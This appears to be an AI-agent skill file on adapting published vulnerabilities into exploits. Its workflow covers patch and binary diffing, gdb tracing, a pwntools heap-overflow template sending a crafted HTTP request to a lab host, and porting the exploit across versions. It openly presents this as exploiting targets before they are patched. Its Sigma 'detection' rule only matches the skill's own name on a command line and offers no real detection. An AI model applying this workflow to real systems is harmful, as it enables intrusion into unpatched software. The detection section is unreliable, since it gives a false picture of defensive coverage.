<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: writing-nday-exploits
description: >-
  Adapt known vulnerabilities (n-days) into working exploits by analyzing patches, diffing binaries, identifying root causes, and building reliable exploits from public advisories and CVE details.
domain: cybersecurity
subdomain: exploit-development
tags:
  - nday
  - patch-diffing
  - cve
  - bindiff
  - exploit-adaptation
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1190", "T1203", "T1211"]
  frameworks: ["MITRE ATT&CK", "Metasploit"]
  tools: ["bindiff", "ghidra", "python3", "pwntools", "git"]
---

# Writing N-Day Exploits

## Overview

N-day exploit development converts public vulnerability disclosures into working
exploits by analyzing patches, diffing binaries, and reverse engineering the root
cause. This fills the gap between advisory publication and target patching.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `ghidra` | Security tooling |
| `bindiff` | Security tooling |
| `python3` | Security tooling |
| `pwntools` | Security tooling |
| `git` | Security tooling |
| Access to vulnerable and patched binaries or source | Environment requirement |
| CVE details and vendor advisory | Environment requirement |
| Isolated lab with vulnerable target version | Environment requirement |

## Workflow

### Step 1: Patch Analysis

```bash
# Download vulnerable and patched versions
wget https://example.com/releases/app-1.2.0.tar.gz
wget https://example.com/releases/app-1.2.1.tar.gz

# Source diff to identify fix
diff -ru app-1.2.0/src/ app-1.2.1/src/ > patch.diff
grep -A5 -B5 "memcpy\|bounds\|length\|overflow" patch.diff

# Binary diff with BinDiff (Ghidra export)
node scripts/agent.js bindiff --old app-1.2.0/bin/app --new app-1.2.1/bin/app
```

### Step 2: Root Cause Identification

```bash
# Analyze vulnerable function in Ghidra headless mode
analyzeHeadless /tmp/ghidra_project proj -import ./app-1.2.0/bin/app \
  -postScript FindVulnFunc.java "parse_request"

# Trace vulnerable code path
gdb -batch -ex "break *0x401234" -ex "run < trigger_input" \
  -ex "bt" -ex "x/32gx \$rsp" ./app
```

### Step 3: Exploit Adaptation

```python
from pwn import *

context.binary = elf = ELF("./app-1.2.0/bin/app")

# Adapt public advisory into exploit
# CVE-2024-XXXX: heap overflow in parse_request at offset 256
p = remote("target.lab", 8080)

# Trigger vulnerable path
header = b"GET /" + b"A" * 256
# Overwrite heap metadata for arbitrary write
header += p64(0xdeadbeef)  # target address
header += p64(0xcafebabe)  # write value
header += b" HTTP/1.1\r\n\r\n"

p.send(header)
```

### Step 4: Cross-Version Portability

```bash
# Test exploit across affected versions
node scripts/agent.js port --exploit nday_exploit.py \
  --versions "1.2.0,1.1.9,1.1.8" --target target.lab

# Adjust offsets for different builds
node scripts/agent.js offsets --binary app --version 1.1.9
```

## Detection

```yaml
title: Writing Nday Exploits Detection
id: af62a837-98bf-4b06-83e9-bc0b6aa5d1cd
status: experimental
description: Detects suspicious activity related to writing nday exploits techniques in exploit development context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*writing*nday*"
  condition: selection
level: critical
tags:
  - attack.t1190
  - attack.t1203
  - attack.t1211
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Writing Nday Exploits Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1190, T1203, T1211 |

## Verification

- [ ] Patch diff identifies exact vulnerability root cause
- [ ] Exploit reproduces on specified vulnerable version
- [ ] Cross-version testing covers all affected releases
- [ ] Exploit includes version detection before trigger
- [ ] Detection rules generated from exploit behavior

## References

- [BinDiff](https://www.zynamics.com/bindiff.html) — Binary comparison tool
- [Ghidra](https://ghidra-sre.org/) — NSA reverse engineering framework
- [NVD](https://nvd.nist.gov/) — National Vulnerability Database
